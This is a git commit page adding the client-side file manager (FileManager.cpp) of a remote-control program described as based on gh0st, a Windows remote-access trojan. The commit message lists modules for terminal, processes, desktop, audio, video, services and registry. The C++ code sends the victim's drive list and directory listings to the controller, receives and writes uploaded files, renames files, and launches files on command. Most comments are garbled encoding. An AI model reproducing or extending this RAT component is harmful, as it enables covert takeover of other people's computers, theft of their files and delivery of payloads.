基于gh0st的远程控制器
实现了终端管理、进程管理、窗口管理、桌面管理、文件管理、语音管理、视频管理、服务管理、注册表管理等功能。
This commit is contained in:
497
client/FileManager.cpp
Normal file
497
client/FileManager.cpp
Normal file
@@ -0,0 +1,497 @@
|
||||
// FileManager.cpp: implementation of the CFileManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "FileManager.h"
|
||||
#include "Common.h"
|
||||
#include <Shellapi.h>
|
||||
#include <IOSTREAM>
|
||||
using namespace std;
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CFileManager::CFileManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
|
||||
{
|
||||
m_ulTransferMode = TRANSFER_MODE_NORMAL;
|
||||
|
||||
SendDiskDriverList();
|
||||
}
|
||||
|
||||
|
||||
ULONG CFileManager::SendDiskDriverList() //<2F><><EFBFBD>ñ<EFBFBD><C3B1>ض˵Ĵ<CBB5><C4B4><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||
{
|
||||
char szDiskDriverString[0x500] = {0};
|
||||
// ǰһ<C7B0><D2BB><EFBFBD>ֽ<EFBFBD>Ϊ<EFBFBD><CEAA>Ϣ<EFBFBD><CFA2><EFBFBD>ͣ<EFBFBD><CDA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>52<35>ֽ<EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
BYTE szBuffer[0x1000] = {0};
|
||||
char szFileSystem[MAX_PATH] = {0};
|
||||
char *Travel = NULL;
|
||||
szBuffer[0] = TOKEN_DRIVE_LIST; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
GetLogicalDriveStrings(sizeof(szDiskDriverString), szDiskDriverString);
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||
//0018F460 43 3A 5C 00 44 3A 5C 00 45 3A 5C 00 46 3A C:\.D:\.E:\.F:
|
||||
//0018F46E 5C 00 47 3A 5C 00 48 3A 5C 00 4A 3A 5C 00 \.G:\.H:\.J:\.
|
||||
|
||||
Travel = szDiskDriverString;
|
||||
|
||||
unsigned __int64 ulHardDiskAmount = 0; //HardDisk
|
||||
unsigned __int64 ulHardDiskFreeSpace = 0;
|
||||
unsigned long ulHardDiskAmountMB = 0; // <20>ܴ<EFBFBD>С
|
||||
unsigned long ulHardDiskFreeMB = 0; // ʣ<><CAA3><EFBFBD>ռ<EFBFBD>
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||
//0018F460 43 3A 5C 00 44 3A 5C 00 45 3A 5C 00 46 3A C:\.D:\.E:\.F:
|
||||
//0018F46E 5C 00 47 3A 5C 00 48 3A 5C 00 4A 3A 5C 00 \.G:\.H:\.J:\. \0
|
||||
|
||||
//ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>dwOffset<65><74><EFBFBD>ܴ<EFBFBD>0 <20><>Ϊ0<CEAA><30>λ<EFBFBD>洢<EFBFBD><E6B4A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD>
|
||||
DWORD dwOffset = 1;
|
||||
for (; *Travel != '\0'; Travel += lstrlen(Travel) + 1) //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>+1Ϊ<31>˹<EFBFBD>\0
|
||||
{
|
||||
memset(szFileSystem, 0, sizeof(szFileSystem));
|
||||
|
||||
// <20>õ<EFBFBD><C3B5>ļ<EFBFBD>ϵͳ<CFB5><CDB3>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD>С
|
||||
GetVolumeInformation(Travel, NULL, 0, NULL, NULL, NULL, szFileSystem, MAX_PATH);
|
||||
ULONG ulFileSystemLength = lstrlen(szFileSystem) + 1;
|
||||
|
||||
SHFILEINFO sfi;
|
||||
SHGetFileInfo(Travel,FILE_ATTRIBUTE_NORMAL,&sfi,
|
||||
sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
|
||||
|
||||
ULONG ulDiskTypeNameLength = lstrlen(sfi.szTypeName) + 1;
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̴<EFBFBD>С
|
||||
if (Travel[0] != 'A' && Travel[0] != 'B'
|
||||
&& GetDiskFreeSpaceEx(Travel, (PULARGE_INTEGER)&ulHardDiskFreeSpace,
|
||||
(PULARGE_INTEGER)&ulHardDiskAmount, NULL))
|
||||
{
|
||||
ulHardDiskAmountMB = ulHardDiskAmount / 1024 / 1024; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD>Ҫת<D2AA><D7AA><EFBFBD><EFBFBD>G
|
||||
ulHardDiskFreeMB = ulHardDiskFreeSpace / 1024 / 1024;
|
||||
}
|
||||
else
|
||||
{
|
||||
ulHardDiskAmountMB = 0;
|
||||
ulHardDiskFreeMB = 0;
|
||||
}
|
||||
// <20><>ʼ<EFBFBD><CABC>ֵ
|
||||
szBuffer[dwOffset] = Travel[0]; //<2F>̷<EFBFBD>
|
||||
szBuffer[dwOffset + 1] = GetDriveType(Travel); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
// <20><><EFBFBD>̿ռ<CCBF><D5BC><EFBFBD><EFBFBD><EFBFBD>ռȥ<D5BC><C8A5>8<EFBFBD>ֽ<EFBFBD>
|
||||
memcpy(szBuffer + dwOffset + 2, &ulHardDiskAmountMB, sizeof(unsigned long));
|
||||
memcpy(szBuffer + dwOffset + 6, &ulHardDiskFreeMB, sizeof(unsigned long));
|
||||
|
||||
// <20><><EFBFBD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
memcpy(szBuffer + dwOffset + 10, sfi.szTypeName, ulDiskTypeNameLength);
|
||||
memcpy(szBuffer + dwOffset + 10 + ulDiskTypeNameLength, szFileSystem,
|
||||
ulFileSystemLength);
|
||||
|
||||
dwOffset += 10 + ulDiskTypeNameLength + ulFileSystemLength;
|
||||
}
|
||||
|
||||
return m_ClientObject->OnServerSending((char*)szBuffer, dwOffset);
|
||||
}
|
||||
|
||||
CFileManager::~CFileManager()
|
||||
{
|
||||
cout<<"Զ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"<<endl;
|
||||
}
|
||||
|
||||
VOID CFileManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
switch(szBuffer[0])
|
||||
{
|
||||
case COMMAND_LIST_FILES:
|
||||
{
|
||||
SendFilesList((char*)szBuffer + 1); //<2F><>һ<EFBFBD><D2BB><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD>Ϣ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_FILE_SIZE:
|
||||
{
|
||||
CreateClientRecvFile(szBuffer + 1);
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_FILE_DATA:
|
||||
{
|
||||
WriteClientRecvFile(szBuffer + 1, ulLength-1);
|
||||
break;
|
||||
}
|
||||
case COMMAND_SET_TRANSFER_MODE:
|
||||
{
|
||||
SetTransferMode(szBuffer + 1);
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_OPEN_FILE_SHOW:
|
||||
{
|
||||
ShellExecute(NULL, "open", (char*)(szBuffer + 1), NULL, NULL, SW_SHOW); //CreateProcess
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_RENAME_FILE:
|
||||
{
|
||||
szBuffer+=1;
|
||||
char* szExistingFileFullPath = NULL;
|
||||
char* szNewFileFullPath = NULL;
|
||||
szNewFileFullPath = szExistingFileFullPath = (char*)szBuffer;
|
||||
|
||||
szNewFileFullPath += strlen((char*)szNewFileFullPath)+1;
|
||||
|
||||
Rename(szExistingFileFullPath,szNewFileFullPath);
|
||||
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//dkfj C:\1.txt\0 D:\3.txt\0
|
||||
VOID CFileManager::Rename(char* szExistingFileFullPath,char* szNewFileFullPath)
|
||||
{
|
||||
MoveFile(szExistingFileFullPath, szNewFileFullPath);
|
||||
}
|
||||
|
||||
|
||||
VOID CFileManager::SetTransferMode(LPBYTE szBuffer)
|
||||
{
|
||||
memcpy(&m_ulTransferMode, szBuffer, sizeof(m_ulTransferMode));
|
||||
GetFileData();
|
||||
}
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>С
|
||||
VOID CFileManager::CreateClientRecvFile(LPBYTE szBuffer)
|
||||
{
|
||||
// //[Flag 0001 0001 E:\1.txt\0 ]
|
||||
FILE_SIZE* FileSize = (FILE_SIZE*)szBuffer;
|
||||
// <20><><EFBFBD>浱ǰ<E6B5B1><C7B0><EFBFBD>ڲ<EFBFBD><DAB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
||||
memset(m_szOperatingFileName, 0,
|
||||
sizeof(m_szOperatingFileName));
|
||||
strcpy(m_szOperatingFileName, (char *)szBuffer + 8); //<2F>Ѿ<EFBFBD>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD>Ϣͷ<CFA2><CDB7>
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_OperatingFileLength =
|
||||
(FileSize->dwSizeHigh * (MAXDWORD + 1)) + FileSize->dwSizeLow;
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼
|
||||
MakeSureDirectoryPathExists(m_szOperatingFileName);
|
||||
|
||||
WIN32_FIND_DATA wfa;
|
||||
HANDLE hFind = FindFirstFile(m_szOperatingFileName, &wfa);
|
||||
|
||||
//1 2 3 1 2 3
|
||||
if (hFind != INVALID_HANDLE_VALUE
|
||||
&& m_ulTransferMode != TRANSFER_MODE_OVERWRITE_ALL
|
||||
&& m_ulTransferMode != TRANSFER_MODE_JUMP_ALL
|
||||
)
|
||||
{
|
||||
BYTE bToken[1];
|
||||
bToken[0] = TOKEN_GET_TRANSFER_MODE;
|
||||
m_ClientObject->OnServerSending((char*)&bToken, sizeof(bToken));
|
||||
}
|
||||
else
|
||||
{
|
||||
GetFileData(); //<2F><><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD>ļ<EFBFBD><C4BC>ͻ<EFBFBD>ִ<EFBFBD>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD>
|
||||
}
|
||||
FindClose(hFind);
|
||||
}
|
||||
|
||||
VOID CFileManager::WriteClientRecvFile(LPBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
BYTE *Travel;
|
||||
DWORD dwNumberOfBytesToWrite = 0;
|
||||
DWORD dwNumberOfBytesWirte = 0;
|
||||
int nHeadLength = 9; // 1 + 4 + 4 <20><><EFBFBD>ݰ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>С<EFBFBD><D0A1>Ϊ<EFBFBD>̶<EFBFBD><CCB6><EFBFBD>9
|
||||
FILE_SIZE *FileSize;
|
||||
// <20>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݵ<EFBFBD>ƫ<EFBFBD><C6AB>
|
||||
Travel = szBuffer + 8;
|
||||
|
||||
FileSize = (FILE_SIZE *)szBuffer;
|
||||
|
||||
// <20>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>е<EFBFBD>ƫ<EFBFBD><C6AB>
|
||||
|
||||
LONG dwOffsetHigh = FileSize->dwSizeHigh;
|
||||
LONG dwOffsetLow = FileSize->dwSizeLow;
|
||||
|
||||
dwNumberOfBytesToWrite = ulLength - 8;
|
||||
|
||||
HANDLE hFile =
|
||||
CreateFile
|
||||
(
|
||||
m_szOperatingFileName,
|
||||
GENERIC_WRITE,
|
||||
FILE_SHARE_WRITE,
|
||||
NULL,
|
||||
OPEN_EXISTING,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
0
|
||||
);
|
||||
|
||||
SetFilePointer(hFile, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN);
|
||||
|
||||
int iRet = 0;
|
||||
// д<><D0B4><EFBFBD>ļ<EFBFBD>
|
||||
iRet = WriteFile
|
||||
(
|
||||
hFile,
|
||||
Travel,
|
||||
dwNumberOfBytesToWrite,
|
||||
&dwNumberOfBytesWirte,
|
||||
NULL
|
||||
);
|
||||
|
||||
CloseHandle(hFile);
|
||||
BYTE bToken[9];
|
||||
bToken[0] = TOKEN_DATA_CONTINUE;//TOKEN_DATA_CONTINUE
|
||||
dwOffsetLow += dwNumberOfBytesWirte; //
|
||||
memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh));
|
||||
memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow));
|
||||
m_ClientObject->OnServerSending((char*)&bToken, sizeof(bToken));
|
||||
}
|
||||
|
||||
|
||||
BOOL CFileManager::MakeSureDirectoryPathExists(char* szDirectoryFullPath)
|
||||
{
|
||||
char* szTravel = NULL;
|
||||
char* szBuffer = NULL;
|
||||
DWORD dwAttributes;
|
||||
__try
|
||||
{
|
||||
szBuffer = (char*)malloc(sizeof(char)*(strlen(szDirectoryFullPath) + 1));
|
||||
|
||||
if(szBuffer == NULL)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
strcpy(szBuffer, szDirectoryFullPath);
|
||||
|
||||
szTravel = szBuffer;
|
||||
|
||||
if (0)
|
||||
{
|
||||
}
|
||||
else if(*(szTravel+1) == ':')
|
||||
{
|
||||
szTravel++;
|
||||
szTravel++;
|
||||
if(*szTravel && (*szTravel == '\\'))
|
||||
{
|
||||
szTravel++;
|
||||
}
|
||||
}
|
||||
|
||||
while(*szTravel) //\Hello\World\Shit\0
|
||||
{
|
||||
if(*szTravel == '\\')
|
||||
{
|
||||
*szTravel = '\0';
|
||||
dwAttributes = GetFileAttributes(szBuffer); //<2F>鿴<EFBFBD>Ƿ<EFBFBD><C7B7>Ƿ<EFBFBD>Ŀ¼ Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if(dwAttributes == 0xffffffff)
|
||||
{
|
||||
if(!CreateDirectory(szBuffer, NULL))
|
||||
{
|
||||
if(GetLastError() != ERROR_ALREADY_EXISTS)
|
||||
{
|
||||
free(szBuffer);
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if((dwAttributes & FILE_ATTRIBUTE_DIRECTORY) != FILE_ATTRIBUTE_DIRECTORY)
|
||||
{
|
||||
free(szBuffer);
|
||||
szBuffer = NULL;
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
*szTravel = '\\';
|
||||
}
|
||||
|
||||
szTravel = CharNext(szTravel);
|
||||
}
|
||||
}
|
||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
if (szBuffer!=NULL)
|
||||
{
|
||||
free(szBuffer);
|
||||
|
||||
szBuffer = NULL;
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (szBuffer!=NULL)
|
||||
{
|
||||
free(szBuffer);
|
||||
szBuffer = NULL;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
ULONG CFileManager::SendFilesList(char* szDirectoryPath)
|
||||
{
|
||||
// <20><><EFBFBD>ô<EFBFBD><C3B4>䷽ʽ
|
||||
m_ulTransferMode = TRANSFER_MODE_NORMAL;
|
||||
ULONG ulRet = 0;
|
||||
DWORD dwOffset = 0; // λ<><CEBB>ָ<EFBFBD><D6B8>
|
||||
|
||||
char *szBuffer = NULL;
|
||||
ULONG ulLength = 1024 * 10; // <20>ȷ<EFBFBD><C8B7><EFBFBD>10K<30>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
szBuffer = (char*)LocalAlloc(LPTR, ulLength);
|
||||
if (szBuffer==NULL)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
char szDirectoryFullPath[MAX_PATH];
|
||||
|
||||
wsprintf(szDirectoryFullPath, "%s\\*.*", szDirectoryPath);
|
||||
|
||||
HANDLE hFile = INVALID_HANDLE_VALUE;
|
||||
WIN32_FIND_DATA wfd;
|
||||
hFile = FindFirstFile(szDirectoryFullPath, &wfd);
|
||||
|
||||
if (hFile == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
BYTE bToken = TOKEN_FILE_LIST;
|
||||
|
||||
if (szBuffer!=NULL)
|
||||
{
|
||||
|
||||
LocalFree(szBuffer);
|
||||
szBuffer = NULL;
|
||||
}
|
||||
return m_ClientObject->OnServerSending((char*)&bToken, 1); //·<><C2B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
}
|
||||
|
||||
szBuffer[0] = TOKEN_FILE_LIST;
|
||||
|
||||
// 1 Ϊ<><CEAA><EFBFBD>ݰ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>ռ<EFBFBD>ֽ<EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ
|
||||
dwOffset = 1;
|
||||
/*
|
||||
<09>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD> 1
|
||||
<09>ļ<EFBFBD><C4BC><EFBFBD> strlen(filename) + 1 ('\0')
|
||||
<09>ļ<EFBFBD><C4BC><EFBFBD>С 4
|
||||
*/
|
||||
do
|
||||
{
|
||||
// <20><>̬<EFBFBD><CCAC>չ<EFBFBD><D5B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (dwOffset > (ulLength - MAX_PATH * 2))
|
||||
{
|
||||
ulLength += MAX_PATH * 2;
|
||||
szBuffer = (char*)LocalReAlloc(szBuffer,
|
||||
ulLength, LMEM_ZEROINIT|LMEM_MOVEABLE);
|
||||
}
|
||||
char* szFileName = wfd.cFileName;
|
||||
if (strcmp(szFileName, ".") == 0 || strcmp(szFileName, "..") == 0)
|
||||
continue;
|
||||
// <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD> 1 <20>ֽ<EFBFBD>
|
||||
|
||||
//[Flag 1 HelloWorld\0<><30>С <20><>С ʱ<><CAB1> ʱ<><CAB1>
|
||||
// 0 1.txt\0 <20><>С <20><>С ʱ<><CAB1> ʱ<><CAB1>]
|
||||
*(szBuffer + dwOffset) = wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY;
|
||||
dwOffset++;
|
||||
// <20>ļ<EFBFBD><C4BC><EFBFBD> lstrlen(pszFileName) + 1 <20>ֽ<EFBFBD>
|
||||
ULONG ulFileNameLength = strlen(szFileName);
|
||||
memcpy(szBuffer + dwOffset, szFileName, ulFileNameLength);
|
||||
dwOffset += ulFileNameLength;
|
||||
*(szBuffer + dwOffset) = 0;
|
||||
dwOffset++;
|
||||
|
||||
// <20>ļ<EFBFBD><C4BC><EFBFBD>С 8 <20>ֽ<EFBFBD>
|
||||
memcpy(szBuffer + dwOffset, &wfd.nFileSizeHigh, sizeof(DWORD));
|
||||
memcpy(szBuffer + dwOffset + 4, &wfd.nFileSizeLow, sizeof(DWORD));
|
||||
dwOffset += 8;
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1> 8 <20>ֽ<EFBFBD>
|
||||
memcpy(szBuffer + dwOffset, &wfd.ftLastWriteTime, sizeof(FILETIME));
|
||||
dwOffset += 8;
|
||||
} while(FindNextFile(hFile, &wfd));
|
||||
|
||||
ulRet = m_ClientObject->OnServerSending(szBuffer, dwOffset);
|
||||
|
||||
LocalFree(szBuffer);
|
||||
FindClose(hFile);
|
||||
return ulRet;
|
||||
}
|
||||
|
||||
VOID CFileManager::GetFileData()
|
||||
{
|
||||
int nTransferMode;
|
||||
switch (m_ulTransferMode) //<2F><><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Dz<EFBFBD><C7B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Case<73>е<EFBFBD>
|
||||
{
|
||||
case TRANSFER_MODE_OVERWRITE_ALL:
|
||||
nTransferMode = TRANSFER_MODE_OVERWRITE;
|
||||
break;
|
||||
case TRANSFER_MODE_JUMP_ALL:
|
||||
nTransferMode = TRANSFER_MODE_JUMP; //CreateFile<6C><65>always open<65><6E><EFBFBD><EFBFBD>eixt<78><74>
|
||||
break;
|
||||
default:
|
||||
nTransferMode = m_ulTransferMode; //1. 2 3
|
||||
}
|
||||
|
||||
WIN32_FIND_DATA wfa;
|
||||
HANDLE hFind = FindFirstFile(m_szOperatingFileName, &wfa);
|
||||
|
||||
//1<>ֽ<EFBFBD>Token,<2C><><EFBFBD>ֽ<EFBFBD>ƫ<EFBFBD>Ƹ<EFBFBD><C6B8><EFBFBD>λ<EFBFBD><CEBB><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD>ƫ<EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD>λ
|
||||
BYTE bToken[9];
|
||||
DWORD dwCreationDisposition; // <20>ļ<EFBFBD><C4BC><EFBFBD>ʽ
|
||||
memset(bToken, 0, sizeof(bToken));
|
||||
bToken[0] = TOKEN_DATA_CONTINUE;
|
||||
// <20>ļ<EFBFBD><C4BC>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (hFind != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
// <20><><EFBFBD><EFBFBD>
|
||||
if (nTransferMode == TRANSFER_MODE_OVERWRITE)
|
||||
{
|
||||
//ƫ<><C6AB><EFBFBD><EFBFBD>0
|
||||
memset(bToken + 1, 0, 8);//0000 0000
|
||||
// <20><><EFBFBD>´<EFBFBD><C2B4><EFBFBD>
|
||||
dwCreationDisposition = CREATE_ALWAYS; //<2F><><EFBFBD>и<EFBFBD><D0B8><EFBFBD>
|
||||
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
|
||||
else if(nTransferMode == TRANSFER_MODE_JUMP)
|
||||
{
|
||||
DWORD dwOffset = -1; //0000 -1
|
||||
memcpy(bToken + 5, &dwOffset, 4);
|
||||
dwCreationDisposition = OPEN_EXISTING;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
memset(bToken + 1, 0, 8); //0000 0000 //û<><C3BB><EFBFBD><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ߵ<EFBFBD><DFB5><EFBFBD><EFBFBD><EFBFBD>
|
||||
// <20><><EFBFBD>´<EFBFBD><C2B4><EFBFBD>
|
||||
dwCreationDisposition = CREATE_ALWAYS; //<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>µ<EFBFBD><C2B5>ļ<EFBFBD>
|
||||
}
|
||||
FindClose(hFind);
|
||||
|
||||
HANDLE hFile =
|
||||
CreateFile
|
||||
(
|
||||
m_szOperatingFileName,
|
||||
GENERIC_WRITE,
|
||||
FILE_SHARE_WRITE,
|
||||
NULL,
|
||||
dwCreationDisposition, //
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
0
|
||||
);
|
||||
// <20><>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (hFile == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
m_OperatingFileLength = 0;
|
||||
return;
|
||||
}
|
||||
CloseHandle(hFile);
|
||||
|
||||
m_ClientObject->OnServerSending((char*)&bToken, sizeof(bToken));
|
||||
}
|
||||
Reference in New Issue
Block a user